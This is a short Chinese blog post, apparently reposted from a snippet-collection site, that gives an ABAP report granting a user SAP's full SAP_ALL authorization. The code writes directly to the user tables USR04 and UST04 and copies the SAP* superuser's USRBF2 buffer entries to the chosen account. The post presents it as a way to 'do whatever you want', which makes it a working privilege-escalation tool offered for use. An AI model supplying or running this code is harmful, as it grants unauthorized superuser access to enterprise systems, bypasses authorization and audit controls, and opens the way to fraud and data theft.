如何增加SAP_ALL的权限
想擁有SAP的最大權限嗎?執行下面的代碼吧,想干嘛干嘛...
REPORT ZTESTCREATEUSER.
data: l_USR04 LIKE USR04 ,
l_UST04 LIKE UST04 ,
l_PROFS LIKE USR04-PROFS ,
l_USRBF2 like USRBF2 occurs 0 with header line,
l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .
START-OF-SELECTION.
select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .
select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.
總結
以上是生活随笔為你收集整理的如何增加SAP_ALL的权限的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 创建BAPI程序的步骤
- 下一篇: user exits, customer